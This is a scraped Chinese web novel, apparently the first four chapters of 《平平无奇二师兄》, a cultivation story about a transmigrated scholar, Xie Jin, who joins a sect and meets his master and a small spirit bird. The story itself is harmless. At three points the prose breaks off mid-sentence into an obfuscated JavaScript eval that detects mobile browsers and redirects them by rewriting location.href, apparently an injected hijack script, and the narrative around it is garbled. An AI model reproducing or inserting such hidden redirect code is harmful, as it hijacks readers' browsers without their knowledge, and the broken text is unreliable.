《平平无奇二师兄》 1. 第一章 大道无形,生育天地; 大道无情,运行日月; 大道无名,长养万物。 一束雷火划破长夜,坠落大荒之上,近千里荒凉原野如临浩劫,星火如雨,山崩地裂。 两道人影先后落于山中,交手间弹指将几座山头夷为平地,恐怖飓风席卷大地,惊醒凶兽群妖,纷纷叼上自己的家当弃巢而逃。 一片混乱中,一团嫩黄的小东西自干枯古树上掉下来,原来是一只破壳没多久的小黄鸟,圆滚滚的,落到地上还顺着大风滚出去好远,最后一头磕上路边碎石才刹住脚。 小黄鸟滚了一圈将脑袋从土里拔出来,黑豆豆眼迷茫地看向四周,有妖从身边跑过,胳膊下夹着三五个娃娃,大脚掌差点踩到了它。小黄鸟眨了眨眼,转头看了看还在远处打斗的两个身影,又转头看向别处,才抖了抖翅膀,一步步蹦跶向荒草丛。 它很快就找到自己的目标,正是反扣在草丛里的半个蛋壳,看大小,正好够它窝进去。 小黄鸟嗅了嗅味道,确定是自己的蛋壳之后,低头拱了拱蛋壳,试图将蛋壳翻过面来。 远处两个人打得激烈,飞沙走石肆意溅落,其中一个白发的被狠狠砸进地里,半点没影响到小黄鸟。它只专注地拱啊拱,费了老大的劲才将蛋壳翻过来,蛋壳被风吹得直晃,小黄鸟也累得一屁股坐下来。 远处两个人又从地上打到了天上,小黄鸟歇了一下,站起来叼住蛋壳,费劲地往树下拖。 别看它个子不大,那依稀闪烁着金光的蛋壳又厚重,硬是被它拖动了,在泥里擦过痕迹。 小黄鸟慢吞吞将蛋壳拖向树下,与逃走的妖和兽背道而驰,也仿佛没看到远处的打斗。 终于,那两人又从天上打到了地上,白发那个正好落到不远处,山林猛地一震,惊起满天烟尘,小黄鸟自顾自将蛋壳塞到了横倒的古树树根之中,抖了抖身上沙子枯草。 天上那黑发身影旋即飞下来,若仔细看,他与那白发人几乎生得一模一样,只是发色与瞳色不同,一个白发金瞳,一个黑发血瞳,而黑发人身上则笼罩着一股阴邪黑气。 白发人已无力起身,连身影都变得虚幻,眼看那黑发人走近,色泽浅淡的金瞳仍自悲悯。 “大道无情,身为此界天道意识化身,不该有私。” 黑发人朝祂走近,血瞳笑意轻嘲,“大道若无私,数万年来,为何降下屡次大劫,让此界的万物生灵源源不断地以自身血肉补全天道?大道若无私,你我又怎会生出意识?” 他展臂一笑,“既生为天道化身,便是此界主宰,既因此界生灵而生,天道化身便该有私心,你我生来,便该满足生灵的欲望。” 白发人强撑着站起来,“不……你受恶念影响,生而为恶,你欲吞噬我,不为此界生灵,而为自己的私心,我不会让你得逞的。” 黑发人低声发笑,肩头轻颤,“还看不清吗?你生而为善,为何会败给我?无非是因为世间恶念压过善念,这些生灵需要的是我,不是你,而我,才是他们渴望的天道!” 隔了几丈远,小黄鸟抖干净了身上的泥沙,低头用鸟喙梳理好肚子上乱蓬蓬的小绒毛,往后倒腾了几步,助跑、弹射,快要接近蛋壳时扑腾起翅膀,顺利在半空划出完美的抛物线,一头扎进了蛋壳之中。 被熟悉的气味包裹,眼冒金星的小黄鸟晃了晃脑袋,蹲在蛋壳里神气地抖了抖胸毛。 它该睡觉了。 刚破壳的黄鸟就应该多吃多睡,才能快点长大。 风过荒原,不远的白发人身影摇摇欲坠,仍坚持站定驳斥黑发人,“你蛊惑生灵为恶,自是能暂时压倒我,可你不会永远胜过我。” 黑发人冷嗤道:“我可以胜你一时,便能永远胜你。你输了,将你的天道力量交给我。” 白发人垂首轻笑。 “邪不压正,你赢不了。” “冥顽不灵。” 黑发人不再忍耐,再次出手,欲夺天道力量。 未料白发人骤然扣住他的手腕,往自己心口引去,散发着黑气的手掌瞬间洞穿了心口。 黑发人惊道:“你做什么!” 白发人金瞳无悲无喜,犹带怜悯,“天道意识化生之初,受世间善恶影响,化分善恶两念,你我皆以世间善恶为生,大道本该无情,你我也本不该存在……我虽输你一时,我这份天道力量,你也得不到!” 说话间,他心口中飞出来几束金光,直直冲上苍穹,倏然照亮了这片天地,也点燃了黑发人血瞳里的怒火,“你竟散去天道之力!” 白发人身影开始溃散,无力再扣住黑发人的手,往后倒去,金瞳望向夜空,牵唇淡笑。 “你口口声声为万物生灵而存在,我便将这份天道之力分散到世间各处,让你心心念念的万物生灵得益,你永远也得不到这份天道力量,也永远无法成为真正的天道。而总有一日,世间正念压过邪念,届时,你也会成为输家,与我,同归天地……” 最后一字落地,白发人的身影化为浅金色碎光,散落在荒野间。而黑发人周身却浮现出金光枷锁,一圈圈禁锢住他,叫他面上的怒容愈发狰狞,血瞳死死瞪向晦暗夜幕。 被分割的天道意识终究不是真正的天道,而数万年来早已完善的天道法则自可约束祂! 虚空紫雷蠢蠢欲动,黑发人捏紧拳头,赶在天雷劈下之前,身影很快便消失在荒原之上。 对于这位于大荒一角的荒山而言的劫难骤然而来,又悄然离去,最终只留下一片死寂。 无人得见,夜风卷着草丛中散落的点点金光到了树下,没入蛋壳之中,刚眯起眼的小黄鸟猛地一抖,瞪大了漆黑的豆豆眼醒过来。 “叽!” 似有一声轻笑和着清风而来,小黄鸟身上忽而亮起一束金光,穿过茫茫夜幕,直抵穹顶。 须臾后,金光交织着结成茧。 枯树抽出枝芽,一层层,一圈圈地笼罩住金茧。 荒原归于平静。 过了许多年,才有生灵回到这片焦土,却不敢靠近横倒的古树树藤结成的一座小山包。 曾有妖兽在此厮杀,留下越来越多生灵的痕迹。 又过了数百年,山脉崩裂,大洪席卷,将这片荒原沉入海底,从此再无生灵涉足此地。 一直到千年之后,一束金光自海水涌上,直破苍云,引来九九八十一道天雷。天雷消散后,树藤覆盖的金茧光芒散去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105380|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,化成一只缀着点点金鳞的白蛋,从中飞出一缕金光,在天道枷锁的束缚下被抛出此界。 此非天道法则能容下之物。 于茫茫宇宙中,金光化成一只懵懂的小黄鸟,被卷入银河的时空乱流,又在河流中消失。 蓝星,深秋十月。 临海市。 台风即将登陆,气象台发布了好几次警报,路上几乎没见什么人影。一道身影匆匆赶小区,长柄伞早就被大风吹坏了,驮色风衣几乎湿透,凄风冷雨,冻得他脸色发白。 青年冒雨跑回楼下,按下电梯十九层,回到小公寓。 坏掉的雨伞被扔到玄关,湿透的风衣挂上了椅背,青年先倒了杯热水,一口热水入喉,雾气迷蒙了眼镜,才让他惨白的脸色缓和了许多,轻舒口气,抬手摘下半框眼镜。 一双桃花眼似也蒙着雨雾,湿漉漉的,清冷昳丽。 天上轰隆一声,惊雷劈下,客厅暖色的灯光闪了闪。 窗外狂风大作,呼呼吹着,震得门窗直响,却盖不住阳台传来的动静。青年眨了眨眼,半湿的白衬衫贴着清瘦脊背,紧绷起来。 极清脆的啪嗒一声在阳台响起来,就再没了动静。青年放下水杯,放轻脚步走向阳台。 早知台风要来,该收的早就收了,青年自己独居,刚搬来不久,阳台只有两三个盆栽。 正因这样,他在靠近阳台时,心跳变得快了许多。 快得心口有些疼。 青年深呼吸一口气,让自己冷静下来,握住把手往下压去,将阳台门慢慢推开一条缝。 没看到人,只看到一团嫩黄的东西,不知怎么掉到了他家阳台上,还一头扎进了花盘。 青年松了口气,推开落地窗走出去,蹲在花盘前看着两条小腿在花泥外挣扎的小黄鸟。 “哪儿来的小鸡崽?” 这大风大雨的,不会是楼上小孩又养了鸡崽被风刮下来了吧?看小黄鸟半天没把自己脑袋拔出来,青年没忍住用手指戳了戳。 这一戳,戳到小黄鸟屁股,把小黄鸟吓得一个炸毛把自己拔了出来,一屁股坐上花泥,豆豆眼呆了呆,转头怒啄青年葱白指尖。 “叽叽叽!” “好凶……” 青年缩回手,阳台外雷声不断,吵得他心口疼,风雨也越来越大了,看小黄鸟跟落汤鸡似的蹲在花盘里,想了想又伸出手。 “风大了,别又给你刮到楼下去。过来吧,屋里暖和,我给你找找有没有什么能吃的?” 小黄鸟歪了歪头,“叽?” “不啄我了?” 青年觉得这小鸡崽还挺通人性,听到有吃的就乖了,桃花眼弯成月牙,嗓音越发温柔。 “那要不要跟我走?” 小黄鸟圆润如球的小身板在花盘里挪了挪,似乎是在思考这个人类会不会拿它当口粮。 青年也不知道自己哪里来的耐心,或许是忙碌一天没力气了,就这么等小鸡崽回应,桃花眼含笑,斯文清秀的脸看去无辜又纯良。 “真的不饿吗?” 僵持一阵,小黄鸟才动了,慢慢挪到他手边,一反刚才啄人时的凶狠,歪头蹭他指腹。 “叽叽!” 2. 第二章 晨光熹微,云烟浩渺。 第一缕日光照射到天地之间时,云间飞过一艘挂着月旗的古朴飞舟,往大海东边而去。 甲板上一大一小两名少年正围在案上红泥小火炉两侧打坐,清风穿过结界,卷起那穿着一身青色书生袍子的少年腰间长发,也将船头两名老者的低语送到青衣少年耳畔。 少年羽睫轻颤,缓缓睁开桃花眸,眸中华光流转,潋滟非凡,犹如画龙点睛,叫原本颇有几分蜡黄的清秀面容添上了十二分亮眼。 “你那个是掌门弟子?” “你那个不会是……” “唉,正是与奉剑师兄有关,但是给忘忧收的弟子。” “咳咳,是忘忧啊,怎么会是忘忧啊,这孩子……” “是个读书人,奉剑师兄亲自看中的,也是难得。” “看着是个好脾气的,知书达理,应该很耐咳咳……” “倒是比不上掌门看中的弟子,听闻是大郦皇子?” 两名老者一个摇头一个咳嗽,互相打探着什么,话题中心无疑就是不远处的两个少年。 青衣少年听着两个小老头的话,在日光下几近透明的耳尖微微一动,不动声色继续偷听。 因为他正是那二人口中奉剑真人所看中的读书人。 他名唤谢槿,一身书卷气,五官俊秀,看上去只是个稚气未脱的少年人,不过事实上,他是个胎穿的,而且已经穿过来十六年了。 他前世死的时候也就二十出头,因为心脏病身体一直不太好,可能是投胎时忘了喝孟婆汤,这辈子投生到状元家成了个官二代,还记得上一世的事情。但他这一世还是天生心疾,而且被亲爹逼着卷科考,真不知道是上辈子更惨还是这辈子更惨。 三日前,他一直坚信自己这辈子拿的是科考剧本。 谁知寒窗苦读十几年,好不容易考取秀才功名的谢槿,在踏青时好心扶一位老爷爷过桥,从此被打开新世界大门,走上修仙大道。 那自称奉剑真人的老爷爷两枚丹药叫他与这一世的生母摆脱心疾之苦,于是当夜,谢槿便拜别父母,了断红尘,随真人离开了。 那时,谢槿以为,他拿的应该是凡人修仙剧本。 直到跟来接他的万长老登上飞舟,前往揽月宗,途中胡长老带着那位大郦皇子搭顺风船…… 也就是谢槿身边那穿着织金麒麟袍的六岁小孩哥。 这通身矜贵的六岁小孩比他早半日被揽月宗掌门收为亲传弟子,按理来说是他的师兄。 谢槿本无任何不满,然而师兄弟两人在两位长老的介绍下,谢槿听到了小师兄的名讳—— 萧珩。 听到这个名字时谢槿还愣了愣,然后大脑噼里啪啦跟爆炸似的,上辈子不知道什么时候看过的一本原耽小说在他脑海里冒出来。 等等…… 萧珩? 大郦皇子? 揽月宗掌门座下亲传大弟子? 谢槿悟了。 原来他拿的是原耽文反派剧本!他就是个炮灰啊! 小师兄,也就是萧珩,他才是主角,还是主角攻! 在某本谢槿早就忘得差不多的原耽小说里,大郦皇子萧珩,出生当日天生异象,苍龙降世,本该继承王位,偏在六岁这年得了仙缘。 揽月宗刚继任的掌门玄鹤真人路过大郦,看中他的天生剑骨,当场就收他为真传弟子。 而书中,主角攻萧珩有一个斯文败类二师弟,自小认定萧珩夺走本该属于他的大师兄之位,不管是出身背景还是修为天赋、修为资源乃至师尊身份都远远不如萧珩。 所以他恨。 恨了主角攻几十年,天天琢磨着怎么搞死大师兄。 大师兄的机缘他要抢,出风头的机会他也要抢,大师兄未来的掌门之位他是志在必得。 大师兄不痛快,他就痛快! 于是最后成天作死的二师弟就被主角攻杀了,还连累了护着他的师父,也一起被扬了。 而这个二师弟,就叫谢槿。 谢槿:……炮灰竟是我自己! 早知道就问清楚奉剑真人,他上头有没有大师兄! 可事到如今,深知自己炮灰命运的谢槿已经在去往揽月宗路上,也只能走一步看一步了。 前面两位长老的谈话忽然停下来,突然的安静让谢槿收回飘远的愁绪,挺腰端正坐姿。 万长老望向云端,笑声洪亮。 “到了,你二人也起来看看,这,就是揽月宗。” 揽月宗,今后修炼的宗门? 谢槿起身远眺。 白鹤杳杳,仙雾袅袅。 九峰合抱,隐于云天之间。 百丈悬梯凌空屹立云端,鬼斧神工的众仙山拱卫中心高峰,云巅之上,不知是何等材质锻造的明月高悬,在金光阵枢中皎洁庄严。 飞舟飞近结界,忽而,云间阵枢转动,皎白明月中骤然睁开一只银白竖瞳,银光照射到飞舟上,似月色清辉,透着几分清冷寒意。 只见月光扫过飞舟,那只竖瞳便收了起来,转向别处,前方两位长老由始至终面色如常。 谢槿暗自打量云间阵枢,桃花眸若有所思,原来是修仙版本的扫描仪,他算过安检了吧? 身旁打坐的小大师兄也紧张地站了起来,直到那月光完全扫过飞舟,才悄悄松了口气。 但看到比他高了一大截的谢槿面不改色的模样,他眼底不由闪过一丝钦佩。没想到这个不论是相貌还是出身都比他逊色许多,唯有身形颇为钟灵毓秀的少年秀才第一次见到这真正的仙宗竟丝毫不紧张! 难怪能让揽月宗的仙人收为弟子,还差点成了大师兄。 萧珩又很快让自己收敛起这些情绪,紧绷起小脸,端起稳重沉着的宗门大师兄的气度。 孤,萧珩,才是大师兄! 片刻后,飞舟通过宗门结界,在山门前云台靠岸,刚认识没两天的师兄弟就此暂且别过。 “师兄慢走。” “师弟留步。” 旁边两位白胡子外门长老见状相视一笑,为宗门又多了两个谦让有礼的好苗子而欣慰,随即互相拱手一礼,两两分头架云离去。 往北去的是送新入门的宗主座下大弟子去揽月宗的主峰,诸月峰,往西北去的是赤月峰。 二人刚进宗门,拜入主峰和赤月峰的差距不小,可他们又都是新宗主玄鹤真人继任后入门的各峰真传弟子,故而排名皆在本代弟子之首,一个是本代大师兄,一个是二师兄。 不提炮灰,还是很美好的。 此时踩着脚下云团,跟万宏长老前往赤月峰,谢槿神态从容,毫无初次腾云驾雾的不适。 没见过猪跑也吃过猪肉,修仙小说谢槿是看过不少的,而且比起架云,他更向往御剑。 二人腾云飞越虚空,路过隐入云雾间的一座座山峰,日影穿过上空结界,落到在群山飞瀑上,折射出彩色虹光,偶有白鹤横越天际,啼鸣清越悦耳,展开一幕仙宗画境。 谢槿一路上太过安静,饶是初次见面便知他温文守礼,一个新入仙宗的人间少年能如此镇定,叫万长老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105381|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颇为欣赏,他轻咳一声,提醒道:“前面就是赤月峰了,谢师侄,你虽是奉剑师兄收下的赤月峰弟子,但你的师父却是赤月峰的忘忧师弟。” 在书院读过十年书的谢槿活了两辈子,人情交际不说擅长,也是懂的,听出万长老有心提点自己,当即领会,“弟子明白,但奉剑真人已去云游四海,关于忘忧真人,弟子知之甚少,不知长老可否指教一二?” 忘忧真人之名,他也在奉剑真人口中听过,听名字就能想象出清风明月般的仙人形象。 万宏长老果然和蔼笑道:“奉剑师兄托我带你回宗前交待过,你还未见过师父,却也是他认可的赤月峰弟子,谢师侄无需客气。忘忧师弟是奉剑师兄的亲师弟,也是我揽月宗三阳剑脉这一代的火阳剑主。” 谢槿好奇,“火阳剑主?” 奉剑真人先前好像提过一嘴,他那个至今还未正式拜见的师父忘忧真人,是个剑道天才。 “我乃外门长老,内门三阳剑法,待你拜过师父,忘忧师弟自会传授。忘忧师弟乃揽月宗十子中排名第九的化神期真人,向来性子好,你无需太过紧张。”万长老压低嗓音,“但有一事,你务必谨记于心。” 谢槿虚心请教,“请长老指点。” 万长老道:“忘忧师弟乃我揽月宗内门赤月峰的峰主之一,早已有了化神期修为。但十年前师弟修行出了岔子,落下重伤至今未愈,你入赤月峰后需警醒些,照顾好师父。” 谢槿心下诧异,需要他一个凡人照顾的化神期真人,他这莫非是摊上一位病弱师父了? 万长老语气似乎颇为慎重,“万事多顺着你师父。” 在原文里,似乎也有提过,反派二师兄的师父常年闭关养伤,但出场时有一些侧面描写—— 路人口中,曾屡次夸赞这位忘忧真人相貌生得极好。 看来我这师父,是位病美人? 突然更好奇了…… 谢槿认真点头,“弟子明白了,多谢万长老提点。” 这少年如此温和,看来奉剑师兄没看错人,如此好脾气的弟子,想来能满足忘忧师弟…… 应该能吧? 万长老欲言又止,抬起拂尘压下云头,落到一座山峰上,虹云映照峰顶,铺了满山红叶。 “到了。” 千万重石阶自山脚下蜿蜒而上,一直铺到峰顶。谢槿目测,这座山至少得有上千米高。 “我揽月宗如今有三脉、九峰,各峰都至少有一位化神期真人坐镇,这里便是赤月峰。” 云停在山腰上,谢槿只好提起衣摆从云上走下来。 万长老鲜少踏足赤月峰,余光悄悄往四周瞟,面上轻挥拂尘搭上手臂,一派淡然,“忘忧师弟自受伤后一直在赤月峰静养,我便不去扰他清净了,谢师侄,你自上山去吧。” 一路相送,方才又得了万长老提点,拜别时,谢槿诚心实意躬身行礼,“多谢长老。” 万长老笑得很真诚,看他的眼神又似有几分怜悯。 “去吧。” 趁忘忧师弟不在,他得赶紧走了。 他说罢便转身架云而去,别看在云上时似乎慢腾腾的,眨眼人影就遁出了数十丈之外。 谢槿懵了下,心下惊叹好快的腾云,压根不像刚才慢悠悠仿佛兜风一样,不过跑那么急? 他抬手挡在眼前遮住阳光,朝山上看去,隔着老远,山顶上有个小点,像是仙宫的屋顶。 忍了忍,还是没忍住倒抽口气。 “好高。” 咱们修仙的一定要住山顶吗? 3. 第三章 等到谢槿反应过来这么高的山会爬死人的,想要反悔时,天边哪里还有万长老的身影? 谢槿回头看向山顶,只能默默叹气,认命爬山。 还好万宏长老是把他放在半山腰,这要是放在山脚下,他这两条腿得爬到什么时候? 事实上,光是这一半山路,谢槿就从清早爬到了晌午。还好这赤月峰遍地红枫灵气充沛,而谢槿又服过奉剑真人给的灵丹,体力比一般壮年要好不少,稳稳爬到了山顶。 山风凛冽,吹散了萦绕山间的薄雾,隐藏在漫山红叶中的缥缈仙殿也总算露出了真容。 偌大一座赤月峰,也就只有山顶上这孤零零一座建筑,大殿并不华美,却也高阔肃穆。 谢槿抹了把汗,在山风中平复气息,才走上最后一个台阶,踏上殿前犹如一剑劈开的山崖平地。他来揽月宗前得过奉剑真人提点已经能感悟灵气,算是半只脚踏进仙途,到这里只是出了一层薄汗,脸颊也不见红,看去仍是干爽的,也不算失礼。 他整了整衣冠,继续往殿前走。 正路过解剑池,便听闻叽的一声,听着比山里鸟雀鸣叫要响亮一些,让谢槿脚步一顿。 他才发现,解剑池上蹲着一只小黄鸟,圆圆滚滚,像一个毛团子,正蹲在池中剑柄上,挺胸晒着太阳,看去要多神气就有多神气。 风一吹,胸前绒毛还会晃悠! 要不是小东西发出叫声,谢槿还发现不了,他停在原地,只觉得心口一软,眼睛亮起来。 好漂亮的小黄鸡! 不知是不是看见陌生人的缘故,小黄鸟一双豆豆眼猛地变得锐利起来,不知为何脑袋上的毛毛炸开来,眼神颇为犀利地盯着谢槿。 说来谢槿上辈子就想养鸟,因为楼上小孩养了一窝小鹦鹉,他每回见到可羡慕了,可惜一直没机会养。方才一眼看到这只小黄鸟,他就心动了,敢骑到剑上的鸟,估计不是普通的小鸟,身上还有层淡淡的灵气。 这赤月峰乃是仙山,但这一路上山见过红枫林中许多鸟雀,都不如这只小黄鸟这样灵动。 何况这里应当还是忘忧真人的洞府,估计是只灵宠? 那该是以后的同门了。 谢槿分析完,看殿前一个人都没有,他便悄悄在袖子里掏出一个巴掌大的布包,打开一看,是用手帕包着的小小两块桂花米糕。 “你应当是灵宠吧?别怕,我是新来的弟子,这是我从人间带来的糕点,要不要尝尝?” 缀着桂花的米糕是放蜜糖做的,闻着颇有些香甜。 不知是不是巧合,小黄鸟歪着脑袋看来,煞是可爱。 谢槿试探着走过去,用手帕铺着放在解剑池边缘。 “来了揽月宗,以后就吃不上这些糕点了。虽然没什么灵气,但味道是好的,你尝尝?” 他没养过小鸟,不过他觉得,这该是小鸟爱吃的。 果然,小黄鸟一双豆豆眼看着他,又低头看看手帕上的米糕,没忍住食物诱惑,圆滚滚的小身板轻盈地蹦小剑柄,低头啄起米糕。 看来猜对了呀。 谢槿桃花眸弯了弯,伸手过去。 小黄鸟警觉抬起头,豆豆眼瞪着他。谢槿只好收敛起自己想摸摸小胖鸡的心思,“我还未拜见赤月峰的忘忧真人,就不扰你了。以后都在山上,我回头再来找你好不好?” 小黄鸟身上有点灵气,以谢槿这刚炼气入门的境界,也瞧不出灵宠有什么区别,可这毕竟是修真界,大师兄以后好像还有契约龙呢,他就看上一只小鸟,想摸一摸怎么了? 可惜今天的确没时间。 他还要去拜见忘忧真人,只能遗憾地同小黄鸟告别。 “我先进去了,回头见。” 小黄鸟看了看他,又低头啄起米糕,看起来它还挺喜欢这米糕的,吃得头也没抬一下。 谢槿再不舍也只能先走了,没想到还没走到殿前,身后响起叽叽叫声,清脆稚嫩,回头一看,那只小黄鸟居然扑腾着翅膀飞过来了。 再看解剑池边上的手帕,小小两块米糕已经吃没了。 小黄鸟落到谢槿面前的红枫枝头,又冲他叽了一声。 谢槿笑着摊手,“没有了。” 小黄鸟好像能听懂人话,斜了他一眼,飞到谢槿肩上。谢槿有些惊喜,又实在是无奈。 “真的没有了。” 没等谢槿伸手触碰,小黄鸟就又飞走了,绕着他转了一圈,又低头在他后肩顶了两下,而后慢悠悠飞向前方白墙青瓦的山顶殿宇。 谢槿才反应过来,“你要带路?” 修仙之人,手眼通天。 光是方才那外门的金丹长老,这一路来揽月宗几回腾云驾雾就已经让谢槿大开眼界。这赤月峰的主人再是病弱,人家也是实打实的化神期真人,估计早就察觉他入山了。 再看这大殿前根本没有任何鸟兽敢靠近,唯有这只小黄鸟在,这小黄鸟八成是他的灵宠。 小黄鸟又叽叽叫了两声,听去比先前急促了些,像是在催促谢槿。谢槿心中觉得新奇,也不再磨蹭下去,跟着小黄鸟走近大殿。 新弟子入门,还不清楚师父什么情况,怎么也不能让人第一印象就不好。谢槿深谙礼多人不怪的道理,临近月台,便拱手行礼,“弟子谢槿,拜见赤月峰忘忧真人。” 谢槿躬身弯腰,摆出了往日在书院面对夫子的敬重。 小黄鸟在殿门前悠悠转了一圈,飞回他面前,停在了月台一侧的一株红枫上,也不动了。 等了一阵,殿中没半点动静。 谢槿也不敢起来,爬了半天山的腰背已经开始酸软。 幸而在他快憋不住要再开口时,月台上传来一阵动静,谢槿惊喜抬眼,就见大殿门开了。 谢槿再次将腰身弯下去。 “弟子谢槿,拜见赤月峰……” 门内远远传来一声有些沉闷的嗓音,打断他的话—— “进来。” 这声音一听就是个男子,而且还是个很年轻的男子。 能养出小黄鸟这样漂亮可爱的灵宠,这位忘忧真人,应当是位温柔又清冷的病弱美人吧? 总算能直起身的谢槿暗松口气,回想着书上关于自己这未来师父的描述,一边走进殿中。 小黄鸟也扑腾翅膀飞进来,不远不近地跟在他身后。 入了大殿中,只见摆着几个蒲团,一个人影都没有。 那把好听的声音在谢槿脚步正要停下时,又响起来。 “到后殿来。” 约莫是等得不耐烦了,这回语速快了不少。谢槿找到屏风后的路,不假思索往后殿走去。 后殿规模要比前殿大数倍,中间是一个很大的演武场,穿过演武场,居中正殿乃是两层阁楼,高于前殿,月台上大门紧闭,演武场左右还有两座隔得很远的后侧殿。 小黄鸟领着谢槿往右边名为炎阳的侧殿飞去,却绕过正门飞进屋檐下的廊庑,直到后院才停下。后院栽满红枫,几层青阶上的门是虚掩的,隐隐有雾气从门缝钻出来。 想来准师父就在里面了。 谢槿心中有些紧张,面上却不显,抬手正欲行礼。 身后扑腾翅膀的小黄鸟叽叽催促了两声,便炮弹似的一头撞上谢槿后背,力道大得出奇! 谢槿猝不及防一头撞开大门,差点面朝下摔下去。 好险他眼疾手快,扶住门板赶紧站稳,正暗松口气,想回头找那罪魁祸首算账,殿中暖风拂面,将一片轻纱柔柔吹到他面前来。 刚才隔着门没听清的水声也在同时响起,谢槿脊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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怎么会有徒弟第一次拜见师父时是在温泉给泡澡的师父送衣服啊!这揽月宗不对劲吧? 正这么想着,眼前站着的红衣人便开了口,“你就是谢槿?奉剑师兄信上没说你这么矮。” 靠近了一听,这人声音还是好听的,可听着怎么有点过于随意了,而且……说谁矮子呢? 谢槿有些受不了,抬头看去,仍是憋着气行礼。 “是,弟子便是谢槿……” 他今年才十六岁,青春期,还能长高,这师父…… 谢槿正腹诽着这准师父有点过分了,话音戛然而止,双目怔怔看着眼前这位未来师父。 他这一米七的个子,一眼看去居然看不到师父的脸,而是,一眼撞进八块雪白的腹肌…… 那身红袍红底白纹,绣的是花月缠枝纹。可此时衣带松松垮垮系在腰间,袒露大片依稀透着温热水汽的胸膛,真不是谢槿想看,是他没法避开不看。他下意识便别开眼,再一想这身量比他这白斩鸡身材可要健壮多了,哪里有半点病美人姿态? 谢槿怀疑自己被雾气糊了眼,飞快眨了眨眼,仰头看向面前人的脸,桃花眼倏然睁大—— 眼前这人比他可高了不止一个脑袋,目测至少一米九往上,海藻般的黑卷发披散下来,发尾还缀着水珠。那张脸是谢槿读过这么多年书也无法精准形容的俊美,尤其是一双浅褐色的眼睛,如琉璃一般华丽。 肤色雪白,面容俊美,任谁来都说不出半句不好。 可…… 谢槿一头问号,您是哪位? 他在看忘忧真人时,忘忧真人也在打量他,“本座名闻折柳,正是揽月宗的忘忧真人。人间来的小矮子,你那是什么眼神?吓傻了?” 这猛男大哥才是忘忧真人? 谢槿失语。 实在不可思议、不可置信。 那我的病美人师父呢? 忘忧真人看他这副惊呆的模样,打量他的目光落到他嘴上,剑眉轻挑,流转出几许兴味。 “你好像很失望啊,小矮子。” 4. 第四章 谢槿被这声小矮子气回神,还是没忍住多看两眼眼前的忘忧真人,才有些懵地继续躬身拜下,“弟子失礼,只是第一次见到忘忧真人,心中有些紧张,没想到真人如此……” 没想到师父根本不是病弱美人,而是一米九猛男…… “仙风道骨。”谢槿虽然有些生气,还是努力斟酌言语,“弟子头一回见到您这样的仙人……” 但骂人矮子就过分了…… 谢槿形容不下去了,因为除了生气之外,他一看见闻折柳脑海里就是刚才看到的八块腹肌。 清冷病美人师父是假的,可师父真的有八块腹肌! 也不是说不好,但这,颠覆了他上山前的预想。 他眼神往闻折柳腰腹间飘去,还有些晕乎乎的。 忘忧真人一双浅褐色眼眸望见谢槿红透的耳尖,啧了一声,背过身走向殿外,大步流星。 “师兄信上说你很会读书,谁料连夸个人都不会?罢了,不是要拜师吗,到外面说去。” 谢槿缓过神揉了揉被热气熏红的耳朵,匆忙跟上。 算了,是他自己之前多想了。 闻折柳并不挑场地,坐在庭院中的石凳上,手腕一翻多了一个白玉瓶,衬得他那手指格外白皙,但指节修长有力,明显能看出此人绝非什么身娇体软的病美人,他饮了一口瓶中酒液,轻抬起下巴示意谢槿。 “开始吧。” 谢槿愣了下,反应过来这是说可以开始拜师了,这便上前掀起衣摆,在闻折柳面前跪下。 “弟子谢槿,拜见师父。” 闻折柳点头,“行。” 谢槿又是一愣,行什么行? 枝头上传来叽叽两声,原来是刚才将谢槿撞进后殿的小黄鸟扑腾翅膀飞下来,落到闻折柳肩上。闻折柳身量高大挺拔,和这毛球似的小鸟儿凑到一块来,竟意外的和谐。 谢槿悄悄多看了一眼,眼神仍有些迷茫,还有点幽怨,他可还没忘记刚才是谁推的他。 闻折柳指腹揉了揉小黄鸟脑袋,忽然问:“看什么?” 看你的鸟。 谢槿心道。 当然,话到嘴边他就知道不对劲了,马上又低下头,不经意又瞥过闻折柳,便发觉他已然整理好衣襟,但红袍下仍露出小片胸膛。 略有些微弧度。 他没敢多看,垂头说:“这只鸟儿是师父的灵宠吗?” 既然闻折柳说行,那他就喊师父,要是不让喊…… 那就是师父不行。 闻折柳拧起长眉望着他,一掌将小黄鸟拢在手心里。 “既然师兄捡了你,你以后就留在山上吧,山上除了你我没别的人,你随便找个地方住。” 虽然师父不是想象中的病美人,不过来都来了,也不知道以后有没有机会跟小黄鸟混熟? 有这只小胖鸡在,谢槿感觉心中也有少许慰藉了。 他便又偷偷看了一眼闻折柳掌中的小黄鸟,面上一本正经,作出认真聆听之态,“是。” 闻折柳看这一脸纯良的青衣少年如此乖巧听话,琉璃目审视他须臾,朝他招手,“过来。” 谢槿不明所以,但也听话站了起来,乖巧上前。 虽说师父跟想象中不太一样,可文里这位师父可是护着二师兄这个炮灰一直到陨落,就算最后死在主角攻手里,也从来没有放弃过他这个面善心黑的徒弟,是个好师父。 谢槿心里嘀咕着,走到闻折柳面前。闻折柳也在看他,不知为何,谢槿感觉他的眼神有些奇怪,也不等他思考起是不是自己方才得罪了他,闻折柳忽而一指点在他眉心。 